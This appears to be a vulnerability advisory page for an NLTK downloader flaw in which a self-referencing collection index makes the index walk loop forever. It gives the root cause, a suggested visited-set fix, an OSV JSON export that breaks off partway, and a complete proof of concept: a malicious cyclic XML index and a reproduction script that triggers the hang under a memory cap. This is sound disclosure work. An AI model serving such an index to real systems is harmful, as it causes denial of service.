CVE-2026-128140: NLTK Downloader Cyclic Collection Indices Cause Vulnerability

MODERATE
Advisory Identifier: GHSA-pcm8-fqjx-rvx8
CVSS 6.5
CWE-835
Published
Advisory Summary

CVE-2026-128140 is a MODERATE (CVSS 6.5) downloader cyclic collection indices cause vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting NLTK libraries in the PyPI ecosystem. The issue involves downloader cyclic collection indices cause an infinite closure walk. Remediation is available by upgrading affected packages to version 3.10.4.

CVE-2026-128140 at a Glance

CVE Identifier CVE-2026-128140
GHSA Identifier GHSA-pcm8-fqjx-rvx8
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product NLTK
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-128140

To remediate this vulnerability, upgrade all affected NLTK dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nltk fixed: 3.10.4
pip install nltk>=3.10.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show nltk

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-128140, inspect your installed packages using pip:

pip show nltk

Analyze the terminal output to locate any version of NLTK in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.4), your application is affected.

Note: The pip show nltk command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In NLTK, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

> **affected**: PyPI `nltk` `>= 3.6.7` — `nltk.downloader` index parsing (`Downloader._update_index`) > **dynamically reproduced**: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4) --- _Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._ ### Summary `Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `<item ref="…">` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection's recursive package closure with a breadth-first walk that has **no visited set and no depth cap**: ```python # nltk/downloader.py:1300-1310 for collection in self._collections.values(): packages = {} queue = [collection] for child in queue: if isinstance(child, Collection): queue.extend(child.children) elif isinstance(child, Package): packages[child.id] = child collection.packages = packages.values() ``` **A self-referencing or mutually-referencing index — e.g. `<collection id="a"><item ref="a"/></collection>` — turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever.** The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it. ### Details Root cause is the combination of three unguarded steps: 1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `<item ref="…">` attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle. 2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`. 3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection. The input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `<collections>/<collection>` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` — the option's `dest` is `server_index_url` — plus `NLTK_DOWNLOAD_URL` and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query. ### PoC The self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in **separate child processes under an address-space cap (`RLIMIT_AS`)**. That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever. **Scope note**: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`–`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed. Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks. Live transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback — `987`, `972`, and `1305` respectively — and the elapsed time): ``` [PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>) [PASS] precondition: acyclic control index references only packages [control] returned rc=0 in 0.2s [PASS] control: Downloader.packages() returned (no hang) [PASS] control: _packages parsed = ['p1'] [PASS] control: collection 'a' closure = ['p1'] (finite, as documented) [PASS] control: acyclic index completes and yields the documented finite closure (rc=0) [attack] rc=1 after 6.6s [attack] entering Downloader.packages() on the self-referencing index ... Traceback (most recent call last): File "<string>", line 38, in <module> File "nltk/downloader.py", line 627, in packages self._update_index() File "nltk/downloader.py", line 1305, in _update_index queue.extend(child.children) MemoryError [PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError) nltk under test: 3.10.3 RESULT 4/4 checks passed, 0 failed ``` The malicious index is exactly: ```xml <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/> </packages> <collections> <collection id="a" name="Cyclic collection"> <item ref="a"/> <item ref="p1"/> </collection> </collections> </index> ``` ### Impact - **Type**: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact. - **Who is impacted**: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked. - **Attacker requirements**: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required. - **Effect**: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang. **Suggested fix**: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.: ```python for collection in self._collections.values(): packages = {} queue = [collection] seen = set() for child in queue: if isinstance(child, Collection): if child.id in seen: continue seen.add(child.id) queue.extend(child.children) elif isinstance(child, Package): packages[child.id] = child collection.packages = packages.values() ``` Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle. --- ### Reproduction script (self-contained) ```python #!/usr/bin/env python3 """Self-checking reproduction: a cyclic collection index makes ``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory. Attack: an index XML whose ``<collection>`` references itself (or a mutual cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref`` strings with real ``Collection`` objects. The package-closure walk (``for child in queue: ... queue.extend(child.children)``) has no visited set and no depth cap, so the queue grows forever and the function never returns. Controls: * an acyclic index of the same shape completes and yields the expected closure (the same function, the same caller, under the same memory cap); * the attack never returns normally: it either keeps running past a hard timeout (observed hang) or is aborted by the child's address-space cap (unbounded memory growth) -- in both cases the exact finite input that the control handles instantly cannot be completed. Usage: python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB] Environment: NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is installed into a scratch dir and put on PYTHONPATH for the verification children. NLTK_TIMEOUT hard timeout seconds for each child (default: 60). MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be passed as the first positional argument. """ import os import resource import subprocess import sys import tempfile import textwrap import time from xml.etree import ElementTree def _default_memcap(): if len(sys.argv) > 1 and sys.argv[1] != "--child": raw = sys.argv[1] else: raw = os.environ.get("MEMCAP_MIB", "512") try: value = int(raw) except (TypeError, ValueError): print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr) return "512" return str(value) if value > 0 else "512" MEMCAP_MIB = int(_default_memcap()) CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60")) CYCLIC_INDEX = """<?xml version="1.0"?> <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/> </packages> <collections> <collection id="a" name="Cyclic collection"> <item ref="a"/> <item ref="p1"/> </collection> </collections> </index> """ ACYCLIC_INDEX = """<?xml version="1.0"?> <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/> </packages> <collections> <collection id="a" name="Acyclic collection"> <item ref="p1"/> </collection> </collections> </index> """ CHILD_DRIVER = r""" import os import resource import sys import nltk import nltk.data as nltk_data mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3] # Allow the local index file to be read under hardened pathsec (ENFORCE mode). nltk_data.path.append(workdir) cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024 resource.setrlimit(resource.RLIMIT_AS, (cap, cap)) from nltk.downloader import Downloader downloader = Downloader(server_index_url=url) if mode == "control": # _update_index() runs to completion here; the acyclic closure is finite. packages = list(downloader.packages()) ids = sorted(p.id for p in packages) print("[PASS] control: Downloader.packages() returned (no hang)") assert ids == ["p1"], ids print("[PASS] control: _packages parsed = %r" % ids) col = next(c for c in downloader.collections() if c.id == "a") closure = sorted(p.id for p in col.packages) assert closure == ["p1"], closure print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure) sys.exit(0) elif mode == "attack": # This call drives _update_index -> the collection-closure BFS. The index # collection self-references itself, so the BFS never terminates; the queue # keeps growing until the address-space cap aborts the process. print("[attack] entering Downloader.packages() on the self-referencing index ...") _ = downloader.packages() print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered") sys.exit(2) else: print("[FAIL] unknown mode %r" % mode) sys.exit(2) """ def build_site_env(workdir): """Return (env, site_path_or_None) so the children can import nltk.""" probe = subprocess.run( [sys.executable, "-c", "import nltk"], capture_output=True, ) if probe.returncode == 0: return dict(os.environ), None wheel = os.environ.get("NLTK_WHEEL") if not wheel: return None, None site = os.path.join(workdir, "site") subprocess.run( [sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel], check=True, ) env = dict(os.environ) env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "") return env, site def run_child(env, script, mode, url, workdir): cmd = [sys.executable, script, "--child", mode, url, workdir] start = time.monotonic() try: proc = subprocess.run( cmd, env=env, capture_output=True, text=True, timeout=CHILD_TIMEOUT, ) timed_out = False except subprocess.TimeoutExpired as exc: proc = exc timed_out = True elapsed = time.monotonic() - start stdout = proc.stdout if hasattr(proc, "stdout") else "" stderr = proc.stderr if hasattr(proc, "stderr") else "" return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed def main(): results = [] def check(name, cond, detail=""): results.append(bool(cond)) print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else ""))) with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir: cyclic_path = os.path.join(workdir, "index_cyclic.xml") acyclic_path = os.path.join(workdir, "index_acyclic.xml") with open(cyclic_path, "w") as fh: fh.write(CYCLIC_INDEX) with open(acyclic_path, "w") as fh: fh.write(ACYCLIC_INDEX) cyclic_url = "file://" + cyclic_path acyclic_url = "file://" + acyclic_path # --- Input modeling preconditions ------------------------------- cyc = ElementTree.parse(cyclic_path).getroot() col = cyc.find("collections/collection") check( "precondition: cyclic index has a self-referencing <collection>", col is not None and col.get("id") == "a" and any((it.get("ref") == "a" for it in col.findall("item"))), "ref='a' inside <collection id='a'>", ) acy = ElementTree.parse(acyclic_path).getroot() cola = acy.find("collections/collection") check( "precondition: acyclic control index references only packages", cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"], ) env, site = build_site_env(workdir) if env is None: print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr) return 1 child_env = dict(env) child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB) # --- Control: acyclic index completes under the same memory cap --- t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir) print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else "")) if out: print(out, end="") if err: print(err, end="") check( "control: acyclic index completes and yields the documented finite closure", (not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err), "rc=%s" % rc, ) # --- Attack: cyclic index must NOT complete ---------------------- t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir) print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else "")) if out: print(out, end="") if err: print(err, end="") if t: check( "attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT, True, "process still running, queue growing unboundedly", ) elif rc is not None and rc != 0: memory = "MemoryError" in (out + err) or "MemoryError" in err check( "attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB, memory, "rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"), ) else: check( "attack: self-referencing index hangs _update_index (vulnerability reproduced)", False, "function returned -- cyclic input was handled", ) # --- Version banner --------------------------------------------- ver_out = subprocess.run( [sys.executable, "-c", "import nltk; print(nltk.__version__)"], env=env, capture_output=True, text=True, ).stdout.strip() print("nltk under test: %s" % (ver_out or "unknown")) passed = sum(results) failed = len(results) - passed print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed)) return 0 if failed == 0 else 1 if __name__ == "__main__": if len(sys.argv) >= 2 and sys.argv[1] == "--child": os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:]) sys.exit(main()) ``` ## Fix status (2026-09-28) Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix). PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first). Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond). Release: none yet; no release tag contains b77d329db.

CVE-2026-128140 Affected NLTK Versions

1 component(s)
Fixed Versions:
3.10.4
Product / Package Ecosystem Affected Versions Fixed Version
nltk
PyPI
≥ 3.6.7
< 3.10.4
3.10.4

References

Frequently Asked Questions

What is CVE-2026-128140?
CVE-2026-128140 is a security vulnerability in NLTK involving Downloader cyclic collection indices cause an infinite closure walk under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which NLTK versions are affected?
Affected versions include releases prior to 3.10.4 across affected packages: nltk.
What version fixes CVE-2026-128140?
Upgrading to 3.10.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nltk affected?
Yes, nltk is affected in releases prior to 3.10.4. Upgrade your dependency to 3.10.4 or later.
What is the CVSS score of CVE-2026-128140?
CVE-2026-128140 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-128140?
CVE-2026-128140 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check PyPI dependencies for CVE-2026-128140?
Run the dependency tree command: 'pip show nltk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pcm8-fqjx-rvx8",
  "modified" : "2026-11-19T23:54:33Z",
  "published" : "2026-11-19T23:54:33Z",
  "aliases" : [ "CVE-2026-128140" ],
  "summary" : "NLTK: Downloader cyclic collection indices cause an infinite closure walk",
  "details" : "> **affected**: PyPI `nltk` `>= 3.6.7` — `nltk.downloader` index parsing (`Downloader._update_index`)\n> **dynamically reproduced**: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4)\n\n---\n\n_Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._\n\n### Summary\n\n`Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `<item ref=\"…\">` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection's recursive package closure with a breadth-first walk that has **no visited set and no depth cap**:\n\n```python\n# nltk/downloader.py:1300-1310\nfor collection in self._collections.values():\n    packages = {}\n    queue = [collection]\n    for child in queue:\n        if isinstance(child, Collection):\n            queue.extend(child.children)\n        elif isinstance(child, Package):\n            packages[child.id] = child\n    collection.packages = packages.values()\n```\n\n**A self-referencing or mutually-referencing index — e.g. `<collection id=\"a\"><item ref=\"a\"/></collection>` — turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever.** The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.\n\n### Details\n\nRoot cause is the combination of three unguarded steps:\n\n1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `<item ref=\"…\">` attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle.\n2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`.\n3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection.\n\nThe input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `<collections>/<collection>` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` — the option's `dest` is `server_index_url` — plus `NLTK_DOWNLOAD_URL` and the Shell/GUI \"Set Server URL\"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.\n\n### PoC\n\nThe self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in **separate child processes under an address-space cap (`RLIMIT_AS`)**. That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.\n\n**Scope note**: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`–`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed.\n\nEnvironment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.\n\nLive transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback — `987`, `972`, and `1305` respectively — and the elapsed time):\n\n```\n[PASS] precondition: cyclic index has a self-referencing <collection>  (ref='a' inside <collection id='a'>)\n[PASS] precondition: acyclic control index references only packages\n[control] returned rc=0 in 0.2s\n[PASS] control: Downloader.packages() returned (no hang)\n[PASS] control: _packages parsed = ['p1']\n[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)\n[PASS] control: acyclic index completes and yields the documented finite closure  (rc=0)\n[attack] rc=1 after 6.6s\n[attack] entering Downloader.packages() on the self-referencing index ...\nTraceback (most recent call last):\n  File \"<string>\", line 38, in <module>\n  File \"nltk/downloader.py\", line 627, in packages\n    self._update_index()\n  File \"nltk/downloader.py\", line 1305, in _update_index\n    queue.extend(child.children)\nMemoryError\n[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth)  (rc=1, MemoryError)\nnltk under test: 3.10.3\nRESULT 4/4 checks passed, 0 failed\n```\n\nThe malicious index is exactly:\n\n```xml\n<index>\n  <packages>\n    <package id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n             url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/>\n  </packages>\n  <collections>\n    <collection id=\"a\" name=\"Cyclic collection\">\n      <item ref=\"a\"/>\n      <item ref=\"p1\"/>\n    </collection>\n  </collections>\n</index>\n```\n\n### Impact\n\n- **Type**: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked.\n- **Attacker requirements**: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.\n- **Effect**: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang.\n\n**Suggested fix**: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:\n\n```python\nfor collection in self._collections.values():\n    packages = {}\n    queue = [collection]\n    seen = set()\n    for child in queue:\n        if isinstance(child, Collection):\n            if child.id in seen:\n                continue\n            seen.add(child.id)\n            queue.extend(child.children)\n        elif isinstance(child, Package):\n            packages[child.id] = child\n    collection.packages = packages.values()\n```\n\nDefense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction: a cyclic collection index makes\n``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.\n\nAttack: an index XML whose ``<collection>`` references itself (or a mutual\ncycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``\nstrings with real ``Collection`` objects. The package-closure walk\n(``for child in queue: ... queue.extend(child.children)``) has no visited set\nand no depth cap, so the queue grows forever and the function never returns.\n\nControls:\n  * an acyclic index of the same shape completes and yields the expected\n    closure (the same function, the same caller, under the same memory cap);\n  * the attack never returns normally: it either keeps running past a hard\n    timeout (observed hang) or is aborted by the child's address-space cap\n    (unbounded memory growth) -- in both cases the exact finite input that the\n    control handles instantly cannot be completed.\n\nUsage:\n  python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]\n\nEnvironment:\n  NLTK_WHEEL   path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is\n               installed into a scratch dir and put on PYTHONPATH for the\n               verification children.\n  NLTK_TIMEOUT  hard timeout seconds for each child (default: 60).\n  MEMCAP_MIB    address-space cap per child in MiB (default: 512); can also be\n               passed as the first positional argument.\n\"\"\"\n\nimport os\nimport resource\nimport subprocess\nimport sys\nimport tempfile\nimport textwrap\nimport time\nfrom xml.etree import ElementTree\n\ndef _default_memcap():\n    if len(sys.argv) > 1 and sys.argv[1] != \"--child\":\n        raw = sys.argv[1]\n    else:\n        raw = os.environ.get(\"MEMCAP_MIB\", \"512\")\n    try:\n        value = int(raw)\n    except (TypeError, ValueError):\n        print(\"warning: invalid MEMCAP_MIB %r, falling back to 512\" % raw, file=sys.stderr)\n        return \"512\"\n    return str(value) if value > 0 else \"512\"\n\n\nMEMCAP_MIB = int(_default_memcap())\nCHILD_TIMEOUT = float(os.environ.get(\"NLTK_TIMEOUT\", \"60\"))\n\nCYCLIC_INDEX = \"\"\"<?xml version=\"1.0\"?>\n<index>\n  <packages>\n    <package id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n             url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/>\n  </packages>\n  <collections>\n    <collection id=\"a\" name=\"Cyclic collection\">\n      <item ref=\"a\"/>\n      <item ref=\"p1\"/>\n    </collection>\n  </collections>\n</index>\n\"\"\"\n\nACYCLIC_INDEX = \"\"\"<?xml version=\"1.0\"?>\n<index>\n  <packages>\n    <package id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n             url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/>\n  </packages>\n  <collections>\n    <collection id=\"a\" name=\"Acyclic collection\">\n      <item ref=\"p1\"/>\n    </collection>\n  </collections>\n</index>\n\"\"\"\n\nCHILD_DRIVER = r\"\"\"\nimport os\nimport resource\nimport sys\n\nimport nltk\nimport nltk.data as nltk_data\n\nmode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]\n\n# Allow the local index file to be read under hardened pathsec (ENFORCE mode).\nnltk_data.path.append(workdir)\n\ncap = int(os.environ[\"NLTK_CHILD_MEMCAP_MIB\"]) * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (cap, cap))\n\nfrom nltk.downloader import Downloader\n\ndownloader = Downloader(server_index_url=url)\n\nif mode == \"control\":\n    # _update_index() runs to completion here; the acyclic closure is finite.\n    packages = list(downloader.packages())\n    ids = sorted(p.id for p in packages)\n    print(\"[PASS] control: Downloader.packages() returned (no hang)\")\n    assert ids == [\"p1\"], ids\n    print(\"[PASS] control: _packages parsed = %r\" % ids)\n    col = next(c for c in downloader.collections() if c.id == \"a\")\n    closure = sorted(p.id for p in col.packages)\n    assert closure == [\"p1\"], closure\n    print(\"[PASS] control: collection 'a' closure = %r (finite, as documented)\" % closure)\n    sys.exit(0)\nelif mode == \"attack\":\n    # This call drives _update_index -> the collection-closure BFS. The index\n    # collection self-references itself, so the BFS never terminates; the queue\n    # keeps growing until the address-space cap aborts the process.\n    print(\"[attack] entering Downloader.packages() on the self-referencing index ...\")\n    _ = downloader.packages()\n    print(\"[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered\")\n    sys.exit(2)\nelse:\n    print(\"[FAIL] unknown mode %r\" % mode)\n    sys.exit(2)\n\"\"\"\n\n\ndef build_site_env(workdir):\n    \"\"\"Return (env, site_path_or_None) so the children can import nltk.\"\"\"\n    probe = subprocess.run(\n        [sys.executable, \"-c\", \"import nltk\"],\n        capture_output=True,\n    )\n    if probe.returncode == 0:\n        return dict(os.environ), None\n    wheel = os.environ.get(\"NLTK_WHEEL\")\n    if not wheel:\n        return None, None\n    site = 